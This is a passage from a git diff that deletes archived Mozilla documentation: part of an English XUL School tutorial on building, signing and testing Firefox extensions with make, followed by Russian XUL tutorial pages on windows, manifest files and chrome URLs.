Unzip the file anywhere you want. Inside the HelloWorld2 directory, you'll see two directories: bin and src. The bin directory should be empty. This is where all the resulting build files will be created, and where you'll find the extension XPI file once you get it to build.

- -

Open the project file (HelloWorld2.komodoproject) from the src directory in Komodo Edit. In the Projects tab you should be able to see the directory structure inside the src directory. This structure should be familiar, as it is almost identical to the unpacked XPI from the previous section.

- -

The only notable additions is a file named Makefile under src. This is the file that make uses to build the XPI. You should take some time to read it and understand it, or at least identify the parts that you should change to get a project of your own going. This GNU Make Manual is a very good reference to get to know make and Makefiles.

- -

In most cases you'll only need to change the first lines in Makefile. These define the extension name, the extension id (as specified in install.rdf) and the name of the profile directory where the extension will be installed during development and testing. More about this further ahead.

- -

Let's try and build the XPI from the command line first. Open the command line program in your system and navigate to the src directory in your project. Run the following command:

- -
-
-
make
-
-
- -

That's it. If everything went well, you should see an output similar to this:

- -
-
-
Creating XPI file.
-  adding: install.rdf (deflated 50%)
-  adding: chrome.manifest (deflated 50%)
-  adding: content/browserOverlay.js (deflated 42%)
-  adding: content/browserOverlay.xul (deflated 69%)
-  adding: skin/browserOverlay.css (stored 0%)
-  adding: locale/en-US/browserOverlay.dtd (deflated 52%)
-  adding: locale/en-US/browserOverlay.properties (stored 0%)
-Creating XPI file. Done!
-
-Build finished successfully.
-
-
-
- -

If you inspect the bin directory, you should see the xulschoolhello2.xpi file.

- -

If you run make again, you'll only see the last line of the build process. That is because make can tell that the file in the bin directory is up to date, and nothing needs to be done. Making changes on source files will make make run the necessary steps to build the XPI again.

- -

You can clean up the bin directory by just running the following command (again, from the src directory):

- -
-
-
make clean
-
-
- -

You can also run these commands from Komodo. Click on Tools > Run Command.... In the "Run" textbox you should type this:

- -
-
-
bash -c "make"
-
-
- -

Or replace "make" with "make clean" for the clean command. The "bash -c" part forces Komodo to use bash, which for some reason can't be set properly as the default command shell. It isn't necessary to add this, but it's better so that it is consistent with the make command we'll see next.

- -

In the "Start in" textbox you should choose %p (directory path of active project). If you don't see this textbox, click on the "More" button. You also have the option to save the command, by clicking on the "Add to Toolbox" checkbox. To see the Toolbox, click on View > Tabs > Toolbox, from the main menu. With that, you should now have a very easy way to build your XPI, by just double clicking on the created commands.

- -

We can make it even better. Once you're testing and debugging your code, you'll find that constantly building and installing an XPI can be very tedious. This is the reason why we introduced "make install". This only works if your extension is already installed in a Firefox profile. Just like in the provided project, you need the add-on id and profile location set in the file Makefile. We use this information to locate the installation path of the extension and overwrite the installed files. If Firefox is open at the time you run "make install", you'll have to restart it in order to see the changes. It's still better than installing the XPI all over again.

- -

In order to set the profile location to the right value, you should read the support article on profiles, at the Mozilla Support site. We'll also delve deeper in this topic later on in this section.

- -

To make "make install" work on non-Windows systems, you need an extra step. The install process requires using an environment variable called OSTYPE, which is not exported. Long story short, if you want to run it from a command line, you need to run:

- -
-
-
export OSTYPE; make install
-
-
- -

And in the command in Komodo, you should enter the following:

- -
-
-
bash -c "export OSTYPE; make install"
-
-
- -

The export command won't work correctly unless you use "bash -c".

- -
The file Makefile specifies which profile folder the add-on will be reinstalled to. This is set in the profile_dir variable (set to "xulschool-dev" in this case). When creating a development profile for your add-on, make sure you choose an easy name for the profile folder, and set it in your Makefile in order to take advantage of the install command.
- -

Building IDL files

- -

Some extensions require developing XPCOM components to add certain advanced functions. There's a section dedicated to XPCOM in this tutorial, but we'll briefly discuss the impact it has on building the extension. You can skip this section and keep it present as a reference in case you do need to use XPCOM in your project.

- -

XPCOM interfaces are defined using IDL files. These are text files that define the attributes and methods in one or more interfaces. These IDL files are compiled into binary form and included in the extension as XPT files.

- -

To compile an IDL file to XPT, you need a command line tool called xpidl. This tool is included in the Mozilla Gecko SDK. If you need to compile IDLs, go to the SDK page and download a compiled version for your system. Also note any prerequisites you may need. If your system is not listed in the supported builds, you'll have to build the SDK yourself from the Mozilla source. Good luck with that.

- -

You should also set up your environment so that xpidl.exe (or just xpidl on other systems) is in the default executable path, and also add a variable called GECKO_SDK, that points to your SDK build:

- -
-
-
export GECKO_SDK=/path/to/your/sdk
-
-
- -

Our build system should pick it up from there. To make it work in Komodo in Unix-based systems, we add the command to the .bash_login file in the home directory, and we modify the commands to this:

- -
-
-
bash -c ". ~/.bash_login; make"
-
-
- -

An example project with XPCOM components is included in the XPCOM section. There is also a mention about building C++ XPCOM, which is something much more complicated.

- -

Signing extensions

- -

In order to provide additional security for your users, you can choose to add a signature to your extension. The signature verifies that you are the author of this extension, and it can only be done if you have a valid certificate provided by a trusted Certificate Authority.

- -

The only noticeable difference for the user is that the XPI installation dialog will say that the extension was created by you, making the dialog a little easier to trust. It's not common to sign extensions because most users will trust the official add-ons site (AMO) rather than rely on extension signatures. On the other hand, it is standard practice for big companies to sign their extensions.

- -

You'll need to download some libraries in order to be able to sign your extension. Follow the instructions, and add something like the following to your Makefile:

- -
-
-
# The directory where the signature sources are located.
-signature_dir := signature
-
-# The signing key /certificate file.
-signature_extra_files := $(build_dir)/META-INF/manifest.mf \
-                         $(build_dir)/META-INF/zigbert.sf
-# The signing key /certificate file.
-signature_rsa_file = $(build_dir)/META-INF/zigbert.rsa# The signing key /certificate file.
-signature_files := $(signature_extra_files) \
-                   $(signature_rsa_file)
-
-$(signature_files): $(build_dir) $(xpi_built)
-  @signtool -d $(signature_dir) -k $(cert_name) \
-  -p $(cert_password) $(build_dir)
-
-
- -

Keep in mind that your password should not be in your Makefiles, and you must be very careful with the certificate information. Ideally this should be handled by a single person, and only done near the end of the release process. You should also have a different make command, such as make signed in order to distinguish the signed and unsigned development builds.

- -

Firefox profile management

- -

It is good development practice to keep your test environment separate from everything else. You don't want unstable extensions to break your everyday Firefox profile, risking data loss. It's much better to have a different "version" of Firefox for testing. This is what Firefox profiles are for.

- -

You can learn about setting up multiple Firefox profiles in the Mozilla Support article Managing Profiles. You can have as many profiles as you like. You can also mix them with multiple Firefox installations. For instance, you may want to test your extension in Firefox 3.5 and Firefox 3.6, or test it in a localized version of Firefox. You can install as many Firefox versions as you want, and mix profiles and versions.

- -

On Windows and Linux it's easy to create shortcuts for every profile you create, using the commands mentioned in the support article.

- -

For Mac OS X developers, there is also a way to set up "shortcuts". You can do this by opening the Automator application, choosing Run Shell Script and then entering the profile-loading script in the textbox:

- -
-
-
/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -p MyProfile > /dev/null &
-
-
- -

You can change "/dev/null" to a file location, in case you want to see dump output from Firefox, or other extensions. The last & prevents Automator from waiting for your Firefox session to finish. Save this as an Application, not a Workflow. And you probably want to have these on your Desktop or Dock, for easy access.

- -

There are also some configuration changes you should make in your testing profiles, so that you get detailed error information in case something fails. The Firefox Error Console (Tools > Error Console) normally displays JavaScript errors that occur on web pages, but with some tweaking you can get error information from your extension. Read this piece on Development preferences.

- -

Developer extensions

- -

There's a wide variety of Firefox extensions that aid web development and add-on development. A good place to look for them is the Mozilla Add-ons site, and there's also a good development extension list here. You should also take some time to play around with the Web Developer tools that are included in Firefox. Some of them can be very useful for add-on development and overlap with the add-ons listed. In this section we'll cover a few that we have found to be very useful.

- -

DOM Inspector

- -

The DOM Inspector used to be part of Firefox as an installer option, but since Firefox 3 it has been separated as another add-on you can add and remove. It's a very useful inspection tool that lets you look into the DOM of HTML and XUL documents, as well as applied CSS rules and associated JavaScript objects. Introduction to DOM Inspector is a good guide on how to get started using it.

- -

The DOM inspector is particularly useful in finding out how to overlay a window, and how to replace default CSS style rules. You can see the names of the files involved, which gives you a good starting point when looking into the Mozilla source. You can even change styles, attributes and execute Javascript code in it, although that's not completely reliable.

- -

JavaScript Debugger

- -

The name says it all. The Venkman JavaScript Debugger is a great way to trace execution of your JavaScript code.

- -

To debug extension and browser code, right-click on the Loaded Scripts panel and uncheck Exclude Browser Files. The list of loaded scripts will grow long to include all of the scripts in Firefox. Having our file naming conventions prove very useful in this case. You can set breakpoints, step in and out of methods, and even get profiling information from Javascript execution. You can inspect variables, keep track of watch expressions, and evaluate arbitrary JS at any point in execution.

- -

This extension has seen little maintenance in quite some time, so it is very buggy. It is specially unreliable when debugging code in Javascript XPCOM and XBL files. Nevertheless, it is a valuable tool when trying to figure out why a certain function is misbehaving.

- -

Tamper Data

- -

Tamper Data intercepts HTTP requests and their responses. It allows you to cancel them and even replace payload data before it is sent. There are several similar extensions, such as Live HTTP Headers, but Tamper Data is the one that we use the most. We'll cover more on HTTP debugging later on.

- -

Firebug

- -

The Firebug extension includes pretty much all tools mentioned so far, but it's mostly focused on web development. The Chromebug extension helps in making Firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons.

- -

On the other hand, Firebug has a very friendly, integrated user interface, and sees much more development that its counterparts. It's definitely worth a try.

- -

Leak Monitor

- -

Memory leaks have always been a big criticism drawn against Firefox. Mozilla has proven with time that they take memory usage seriously, improving performance on several critical areas and removing all kinds of memory leaks.

- -

However, extensions are also capable of causing memory leaks. If you want your extension to be included in the Mozilla Add-ons site, you better not have any memory leaks. Using XPCOM in JavaScript has some guidelines you should follow to avoid them. One of the most common errors developers make is to register a JS event listener or observer, and never removing it. The simple practice of always including removal code for everything you add makes a big difference.

- -

To make sure your extension doesn't leak, you should use the Leak Monitor extension when testing it. Always test opening and closing windows. Leaks usually surface when doing this.

- -

Exercise

- - - -

Now that you know how to quickly monitor your project and test changes, we'll learn how to add new UI elements to Firefox, through overlays and new windows.

- -

{{ PreviousNext("XUL_School/The_Essentials_of_an_Extension", "XUL_School/Adding_menus_and_submenus") }}

- -

This tutorial was kindly donated to Mozilla by Appcoast._

diff --git a/files/ru/xul_tutorial/creating_a_window/index.html b/files/ru/xul_tutorial/creating_a_window/index.html deleted file mode 100644 index a200f01b87..0000000000 --- a/files/ru/xul_tutorial/creating_a_window/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Создаем Окно -slug: XUL_Tutorial/Creating_a_Window -tags: - - XUL_Tutorial -translation_of: Archive/Mozilla/XUL/Tutorial/Creating_a_Window ---- -

 {{ PreviousNext("XUL Tutorial:Manifest Files", "XUL Tutorial:Adding Buttons") }}

- -


- На страницах этого руководства мы постепенно соберем диалоговое окошко поиска файлов. Сперва познакомимся с базовым синтаксисом XUL файла.

- -

Создаем XUL файл

- -

Файлу можно дать любое имя, однако, оно долно иметь расширение «.xul». Структура простейшего XUL файла может быть такой:

- -
<?xml version="1.0"?>
-<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-
-<window
-    id="findfile-window"
-    title="Find Files"
-    orient="horizontal"
-    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
-<!-- Тут будут другие элементы -->
-</window>
-
- -

Это окно не выполняет никаких действий, так как в нем нет ни одного элемента (их мы добавим в следующем разделе руководства). Рассмотрим код строчка за строчкой:

- -
    -
  1. <?xml version="1.0"?>
    - Это строка просто показывает, что файл целиком состоит из XML-данных. Такая прагма должна быть первым элементом в каждом XUL-файле, так же как и в каждом XHTML файле.
  2. -
  3. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
    - Здесь задается стиль, который будет применен к элементам текущего документа (в этом примере — CSS-файл). Это стандартный способ задать стилевой файл для XML-документа. В этом случае мы импортируем стили из глобальной части пакета офорления (скина). Здесь не указан конкретный файл, поэтому Mozilla сама решит, какие файлы в директории использовать. А именно будет выбран и подгружен основополагающий файл «global.css». Этот файл содержит описание внешнего вида по умолчанию всех элементов XUL. Так сделано потому, что XML никак не определяет внешний вид своих элементов. Чаще всего системный стиль подключают первым в большинстве XUL-документов. Используя инструкцию <?xml-stylesheet ... ?>, вы можете подключать собственные стилевые файлы, другие системные стили, а так же стили любых расширений Мозилы. Подключить CSS-файл можно так же внутри вашего файла с помощью директивы @import. Это позволит уменьшить количество директив в заголовке XUL-документа.
  4. -
  5. <window
    -  Эта строка указывает, что вы описываете элемент {{ XULElem("window") }}(окно). Каждое окно описывается в отдельном файле. Этот тэг очень похож на тэг BODY в HTML. Внутри тэга {{ XULElem("window") }} можно разместить множество атрибутов -- в данном случае четыре. В данном примере каждый атрибут размещён в отдельной строке, однако, это не обязательно.
  6. -
  7. id="findfile-window"
    - Атрибут {{ XULAttr("id") }} используется как идентификатор, чтобы мы могли получить доступ к окну из наших скриптов. Атрибут id применим к любому элементу. В качестве значения идентификатора, вы можете указать любую строку (разумеется, лучше, если она что-то значит).
  8. -
  9. title="Find Files"
    - Атрибут {{ XULAttr("title") }} определяет текст, содержащийся в заголовке окна, когда оно отображено. В данном примере это будет 'Find Files'.
  10. -
  11. orient="horizontal"
    - Атрибут {{ XULAttr("orient") }} Определяет расположение элементов в окне. Значение  horizontal указывает, что объекты должны размещаться в окне по горизонтали. Вы так-же можете использовать значение vertical, которое означает, что объекты будут выстраиваться в колонки. Это значение принимается по умолчанию, так-что, если вы хотите, чтобы элементы были расположены вертикально, просто не определяйте этот атрибут.
  12. -
  13. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    - Эта строка определяет пространство имён XUL. Вы должны указать эту строку в элементе window, чтобы указать, что все потомки этого окна являются потомками XUL. Обратите внимание, что никаких данных с этого URL никогда не будет запрошено или получено, поскольку Mozilla способна самостоятельно распознать данный URL.
  14. -
  15. <!-- Тут будут другие элементы -->
    - Блок с комментариями. Можете заменить его чем нибудь полезным(кнопками, меню или другими компонентами интерфейса). Мы сделаем это в следующих разделах.
  16. -
  17. </window>
    -   Закрывающий тэг {{ XULElem("window") }}. Это конец файла.
  18. -
- -

Открытие окна

- -

Существует несколько способов открытия окна XUL. Если Вы только на стадии разработки, то можете просто ввести URL (chrome:, file: либо другой тип URL) в адресной строке браузера Mozilla. Также следует сделать так, чтобы XUL файлы в проводнике ассоциировались с Mozilla и запускались двойным кликом. Окно XUL появится в окне браузера, а не в новом окне, но этого обычно бывает достаточно на ранних стадиях разработки.

- -

Правильнее, конечно, открыть окно при помощи JavaScript. Новый код для этого не нужен, Вы можете пользоваться функцией window.open(). Но один дополнительный флаг, называемый 'chrome' необходимо указать браузеру, чтобы он знал, что это chrome документ. При этом окно откроется без панелей инструментов, меню и т.д. Код представлен ниже:

- -
window.open(url,windowname,flags);
-
-где среди флагов есть флаг "chrome" в этом примере
-
-window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
-
- -
-
Пример findfile.xul
- -

Начнем с создания базового файла для диалога поиска файлов. Создайте файл с именем findfile.xul и переместите его в папку content, которая была указана в файле findfile.manifest (мы его создали ранее). Вставьте шаблон XUL, показанный вверху страницы и сохраните файл.

-
- -

Вы можете использовать параметр командной строки '-chrome' чтобы задать XUL файл, который будет открываться при запуске Mozilla. Если он не задан, то откроется окно по умолчанию. Обычно это окно браузера. Например, мы можем открыть диалог поиска файлов следующим образом:

- -
mozilla -chrome chrome://findfile/content/findfile.xul
-
-mozilla -chrome resource:/chrome/findfile/content/findfile.xul
-
- -

При выполнении этих команд в командной строке (если считать, что она есть на Вашей платформе), диалог поиска файлов откроется вместо окна браузера Mozilla. Конечно же, из-за того, что Мы не добавили никаких UI элеметнов, Мы не увидим внешний вид окна. Мы добавим несколько элементов в следующей статье.

- -

Для того, чтобы увидеть результат, следующий код откроет окно закладок:

- -
mozilla -chrome chrome://communicator/content/bookma...rksManager.xul
-
-Если Вы пользуетесь Firefox, попробуйте это:
-
-firefox -chrome chrome://browser/content/bookmarks/b...rksManager.xul
-
- -

Аргумент '-chrome' не дает файлу никаких повышенных привилегий, а вызывает указанный файл и открывает его поверх всех окон. Только URL типа chrome имеют дополнительные привилегии.

- -
Extension Developer's Extension содержит XUL редактор, который позволяет вводить XUL код и видеть результат в реальном времени!
- -

Устранение неполадок

- - - -
 <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
-
- -

В следующей статье мы будем добавлять кнопки.

- -

{{ PreviousNext("XUL Tutorial:Manifest Files", "XUL Tutorial:Adding Buttons") }}

- -

{{ languages( { "ja": "ja/XUL_Tutorial/Creating_a_Window", "pl": "pl/Kurs_XUL/Tworzenie_okna" } ) }}

diff --git a/files/ru/xul_tutorial/index.html b/files/ru/xul_tutorial/index.html deleted file mode 100644 index bf714188fa..0000000000 --- a/files/ru/xul_tutorial/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: XUL Tutorial -slug: XUL_Tutorial ---- -

 

- -

This page was auto-generated because a user created a sub-page to this page.

- -

 

diff --git a/files/ru/xul_tutorial/manifest_files/index.html b/files/ru/xul_tutorial/manifest_files/index.html deleted file mode 100644 index af30c6d0df..0000000000 --- a/files/ru/xul_tutorial/manifest_files/index.html +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: Файлы манифеста (Manifest) -slug: XUL_Tutorial/Manifest_Files -translation_of: Archive/Mozilla/XUL/Tutorial/Manifest_Files ---- -

{{PreviousNext("XUL/Tutorial/The_Chrome_URL", "XUL/Tutorial/Creating_a_Window")}}

-

В этой главе мы опишем, как собирать chrome и XUL файлы в пакеты и как создавать для этих пакетов файлы манифестов.

-
-

Пакеты

-
- Пакет - это набор XUL файлов и сценариев, определяющих функциональность пользовательского интерфейса. Пакеты могут быть инсталлированы в Mozilla и на них можно ссылаться с помощью chrome URL-ов. Пакет может содержать любые типы файлов и может быть распределен по поддиректориям для разных частей пакета. На диске пакет может храниться либо в распакованном виде с своей папке, либо в виде JAR архива.
-
-  
-

Файлы Манифеста

-
-
-

Файлы манифеста описывают пакет и отображают его расположение на диске на chrome URL. Файлы манифеста расположенные в папке chrome (<ApplicationDirectory>/chrome) считываются при запуске приложения Mozilla для того, чтобы определить, какие пакеты установлены. Это означает, что все, что вам необходимо сделать для того, чтобы установить новый пакет, это добавить новый файл манифеста либо в папку chrome приложения или в папку chrome определенного пользователя. Второй из вышеперечисленных вариантов можно использовать, если у вас нет достаточных прав на запись в папку самого приложения.

-

Если вы хотите только попробовать тестирование привилегированного XUL кода в браузере Firefox, вы можете легко сделать это использовав манифест, состоящий всего лишь из одной строки:

-
    -
  1. Создайте новую папку где-нибудь на диске. Например на компьютере под управлением Windows вы можете создать папку "C:\testfiles".
  2. -
  3. Создайте новый ASCII1 файл с именем test.manifest в папке chrome. Имя файла не имеет особого значения, главное, чтобы его расширение было .manifest. ( 1. не работает с UTF-8 с BOM.)
  4. -
  5. Напишите в созданном файле строку:
  6. -
-
 content tests file:///C:/testfiles/
-
-

Путь к файлам должен указывать на папку, которую вы создали на первом шаге. Если вы не уверены, каков путь к этой папке, откройте папку в браузере и скопируйте адрес из адресной строки.

-

Это все! Теперь все, что вам нужно сделать, это добавить несколько XUL файлов в эту новую папку, и вы сможете загружать их набирая chrome URL следующего вида "chrome://tests/content/tests.xul<filename>". Конечно же вам необходимо перезапустить браузер, чтобы внесенные изменения вступили в силу. Если же файл не загружается, проверьте, правильно ли вы указали путь к папке.

-

Базовый синтаксис строк файла манифеста для пакетов контента следующий:

-

'content <packagename> <filepath>'

-

Первое поле 'content' обозначает пакет контента. Для тем это будет 'skin', а 'locale' - соответственно для локалей. Название пакета в вышеприведенном примере - 'tests', что означает, что первое поле в chrome URL - это 'tests', как например chrome://tests/content/sample.xul. Если бы название пакета было 'browser', chrome URL выглядел бы так chrome://browser/content/browser.xul. Последнее поле - это путь к папке, в которой находятся файлы. Это может быть как путь к папке на локальном диске указанный как URL файла, так и к JAR архиву, указанному с помощью jar URL, который мы опишем ниже. Вы можете описать несколько пакетов включив еще строки в файл манифеста.

-

Файл browser.manifest, который используется в Firefox, выглядит примерно так:

-
content branding jar:browser.jar!/content/branding/ xpcnativewrappers=yes
-content browser jar:browser.jar!/content/browser/ xpcnativewrappers=yes
-overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
-overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
-overlay chrome://browser/content/pageInfo.xul chrome://pippki/content/PageInfoOverlay.xul
-
-

Здесь перечислены два пакета, 'branding' и 'browser'. Также указаны три оверлея, что дает возможность объединять вместе контент из разных пакетов. В расширениях оверлеи используются максимально часто, так как расширения интегрируют свой интерфейс в интерфейс браузера.

-

Пути к файлам пакетов  'branding' и 'browser' используют JAR URL, поскольку контент упаковывается в архив. Архив JAR может быть создан с помощью утилиты ZIP. Для файла JAR, расположенного в каталоге chrome, синтаксис довольно прост:

-

jar:<filename.jar>!/<path_in_archive>

-

Для пакета 'browser' архив - browser.jar, располагается рядом с файлом манифеста в каталоге chrome. Путь 'content/browser' указывает путь внутри архива, в котором располагаются файлы XUL. Вам не требуется указывать путь, если у вас нет никаких каталогов в архиве. В этом случае файлы пакета 'branding' хранятся по другому пути в том же самом архиве.

-

Для пакета 'tests', созданного выше, файлы не упаковываются в архив, вместо этого используется прямой путь доступа к файлам. Это хорошо для разработки, так как вы не должны упаковывать все файлы каждый раз, когда вы изменяете их. Однако, при распространении приложения или расширения, вы скорее всего захотите упаковать их в архив, чтобы избежать необходимости устанавливать множество отдельных мелких файлов.

-

Часть xpcnativewrappers=yes в конце строки декларации - флаг, который может использоваться опционально. В JavaScript для веб-страницы возможно переопределить встроенные функции с их собственным кодом. Если используется флаг xpcnativewrappers, это указывает, что сценарии, выполняющиеся в привилегированном окружении, не вызывают эти переопределенные версии, а используют вместо этого исходные встроенные версии. Иначе, если бы расширение попыталось вызвать модифицированные версии, то оно, вероятно, не работало бы должным образом, или хуже, создало бы дыру в системе безопасности. Этот флаг был добавлен, чтобы предотвратить эту проблему и должен всегда использоваться для более новых расширений, но не учитывается для более старых расширений, которые могут быть несовместимыми с изменением. Для получения дополнительной информации об этой функции, см. XPCNativeWrapper.

-
-

Темы и локали

-
- Для тем и локалей синтаксис сходен с используемым для пакетов контента, но вы всегда должны указывать пакет контента, для которого вы предоставляете тему или локаль. Например:
-
skin browser classic/1.0 jar:classic.jar!/skin/classic/browser/
-locale browser en-US jar:en-US.jar!/locale/browser/
-
-

Для этого было добавлено новое поле, указывающее, что эти тема и локаль используются для браузера. Имя скина - 'classic/1.0'. В данном случае номер версии является частью названия темы, но это необязательно, если вы создаете свою собственную тему. Mozilla не обрабатывает номер версии каким-либо особенным образом; номер версии - это просто часть названия темы. Локаль - 'en-US'. Chrome URL-ы на которые отображаются эти элементы будут выглядеть так: chrome://browser/skin/browser.css и chrome://browser/locale/browser.dtd. Если вы создаете свою собственную тему или локаль для браузера, все, что вам необходимо - создать файл манифеста с одной из двух этих строк внутри него, измененной так, чтобы подходить к вашей теме или локали.

-

Более подробную информацию о темах см. здесь Темы. Более подробно о локалях см. здесь Локализация.

-
-
-

Наш пример диалога поиска файлов

-

Давайте создадим файл манифеста для диалога поиска файлов, который мы будем разбирать в качестве примера в этом руководстве. Вы можете комбинировать все три типа в одном файле, если хотите. Это можно сделать создав расширение таким образом, что все части будут в одном файле. Мы проделаем это для диалога поиска файлов. Создайте файл findfile.manifest в папке chrome. Впишите в него следующие строки:

-
-  
-
content findfile file:///findfile/content/
-skin findfile classic/1.0 file:///findfile/skin/
-locale findfile en-US file:///findfile/locale/
-
-

Создайте новые папки, перечисленные выше. Не имеет значения, где именно будут созданы эти папки, но файловые пути в манифесте должны указывать на эти папки. Скорее всего вы будете использовать такие пути к папкам, которые удобно использовать в вашей операционной системе. Если бы мы распространяли пакет, мы бы упаковали все файлы в JAR файл, и модифицировали бы пути. В данном же случае мы пока что только демонстрируем файлы манифестов и готовим папки для примеров, которые будут описаны в нижеследующих главах.

-

Заметьте, как второе поле строк для скина и локали указывает 'findfile'. Это означает, что скин и локаль изменили пакет findfile, который был указан в первой строке. Три пути выше указывают подкаталоги для каждой части. Возможно вы захотите создать эти подкаталоги, чтобы держать все файлы по отдельности.

-

 

-
-
-
-

Установка пакета

-

Для того, чтобы установить приложение, вы должны сделать для него инсталлятор или включить его в инсталлятор другого приложения. Используемый метод зависит от того, какого рода приложение вы создаете. Для расширений вам необходимо будет создать файл install.rdf, который описывает, что именно будет установлено, кто является автором расширения и какая версия браузера или другого приложения совместима с вашим расширением. Необходима Особая структура папок, так как для расширений действуют ограничения на месторасположение, в которое они могут устанавливать свои файлы. Расширение упаковывается в XPI файл. XPI это сокращение от XPInstall и используется для установки компонентов Mozilla-ой. Подобно JAR файлу XPI это всего лишь ZIP архив, но с другим расширением, поэтому вы можете создавать XPI файлы с помощью ZIP архиватора.

-

Менеджер расширений Firefox выполняет установку расширений, упакованных в XPI файлы, автоматически. Рекомендуется выкладывать все расширения на Сайт дополнений Mozilla, на котором пользователи могут найти, чтобы установить. Конечно расширения можно устанавливать с любых сайтов, но другие сайты не сконфигурированы так, чтобы позволять установку по умолчанию.

-

Также для установки файлов можно использовать сценарий на языке JavaScript. Это позволяет вам копировать файлы в любое месторасположение на диске и выполнять другие задания управления файлами. Однако приложения, установленные с помощью сценария не будут отображаться в менеджере расширений, к тому же не будет возможности их автоматизированной деинсталляции. Из-за этих причин сценарии установки используются не часто.

-

Что касается самостоятельных приложений, то их можно упаковать с помощью программы XULRunner. При этом будет создан отдельный исполняемый файл, и приложение может быть установлено независимо от браузера.

-

Более подробно о создании расширений см. Расширения. Дополнительная информация о XULRunner, в главе XULRunner.

-
-
- Устаревшие приложения
-

Если вы создаете приложения для устаревших версий программ Mozilla, т.е., до Firefox 1.5 или Mozilla 1.8, процесс немного усложняется. Ниже описано, как создать пакет для старых версий. Этот раздел можно пропустить, если вы создаете только новые расширения или XUL приложения.

-
- Примечание: Этот устаревший процесс, но он тем не менее также используется и для нового продукта SeaMonkey 1.0. Ядро кода этого проекта еще не работает с новым форматом "Manifest".
-
<?xml version="1.0"?>
-
-<RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-         xmlns:chrome="http://www.mozilla.org/rdf/chrome#">
-
-  <RDF:Seq about="urn:mozilla:package:root">
-    <RDF:li resource="urn:mozilla:package:myapplication"/>
-  </RDF:Seq>
-
-  <RDF:Description about="urn:mozilla:package:myapplication"
-          chrome:displayName="Application Title"
-          chrome:author="Author Name"
-          chrome:name="myapplication"
-          chrome:extension="true"/>
-
-</RDF:RDF>
-
-
content,install,url,file:///main/app/
-
-
    -
  1. Создайте папку где-либо на вашем жестком диске. Многие создают подкаталог в папке chrome Mozilla, но это вовсе не обязательно. Папка может располагаться в любом месте на любом диске. Поместите ваши XUL файлы в эту папку.
  2. -
  3. Создайте файл с именем "contents.rdf" и поместите его также в эту папку. Скопируйте текст из рамки ниже в ваш файл "contents.rdf". Этот файл используется для определения идентификатора приложения, его названия, автора, версии и т.п. данных.
  4. -
  5. Измените выделенные части файлы выше на вашу собственную информацию. Текст 'myapplication' выделенный красным замените на ID вашего приложения. Вы можете выбрать любое название, но, как правило, ID делают совпадающим с названием всего приложения в целом. Замените выделенный синим цветом текст на название вашего приложения и имя его автора.
  6. -
  7. Если поле 'chrome:extension' равно истине, приложение является расширение для Mozilla Firefox и будет отображаться в окне Расширений в настройках браузера. Если же вы установите значение "false", в окне расширений его видно не будет.
  8. -
  9. Запишите "contents.rdf" и убедитесь, что он находится в папке, которую вы создали на шаге №1.
  10. -
  11. Откройте <mozilla-directory>/chrome/installed-chrome.txt, где <mozilla-directory> - это папка, в которую установлена ваша Mozilla. Выйдите из Mozilla прежде чем выполнить данный шаг.
  12. -
  13. Далее, вы должны зарегистрировать новое приложение в Mozilla, чтобы она знала, где его искать. Добавьте строку в конец файла "installed-chrome.txt", указывающую на новую, созданную вами на Шаге №1, папку. Измените выделенный текст на адрес папки в формате URL. Убедитесь в том, что в этой ссылке в конце строки стоит косая черта и что вы нажали Enter в конце строки, т.е. создали пустую строку. Если вы не уверены, каким должен быть URL, откройте папку, созданную на Шаге №1 в браузере Mozilla и скоируйте URL из поля адреса. Помните, что ссылка эта должна быть адресом папки, но не файла.
  14. -
  15. Удалите файл <mozilla-directory>/chrome/chrome.rdf.
  16. -
  17. Запустите Mozilla. Вам должны быть доступны любые XUL файлы, которые вы поместили в папку, с помощью URL вида: chrome://applicationid/content/file.xul где "file.xul" - это имя файла. Главный XUL файл, который вы можете загрузить с помощью URL ярлыка chrome://applicationid/content/, будет иметь вид "applicationid.xul".
  18. -
-

Если вы создаете части скина и/или локали, повторите вышеприведенные шаги, с отличием в том, что формат файла "contents.rdf" будет несколько иным. Вы можете посмотреть на файлы "contents.rdf" других приложений, чтобы узнать подробности.

-
-

Выявление неисправностей

-

Создание chrome пакетов часто может быть довольно сложным и выявить возникающие проблемы непросто. Ниже приводится несколько советов на тот случай, если у вас что-то застопорилось.

- -

Более подробную информацию о файлах манифеста см. Регистрация Chrome.

-

В следующей главе мы приступаем к более подробному описанию языка XUL.

-

{{PreviousNext("XUL/Tutorial/The Chrome URL", "XUL/Tutorial/Creating a Window")}}

diff --git a/files/ru/xul_tutorial/the_chrome_url/index.html b/files/ru/xul_tutorial/the_chrome_url/index.html deleted file mode 100644 index 753621f39a..0000000000 --- a/files/ru/xul_tutorial/the_chrome_url/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: О Chrome URL -slug: XUL_Tutorial/The_Chrome_URL -translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL ---- -

{{ PreviousNext("XUL_Tutorial/XUL_Structure", "XUL_Tutorial/Manifest_Files") }}

-

Chrome URL

-

Ссылаться на XUL файлы можно с помощью обычного HTTP URL (или любого типа URL) так же, как и на HTML файлы. Однако на пакеты, установленные в chrome систему Mozilla можно ссылаться с помощью специальных chrome URL. Пакеты, включенные в установку Mozilla будут уже установлены, но вы можете зарегистрировать и свои собственные.

-

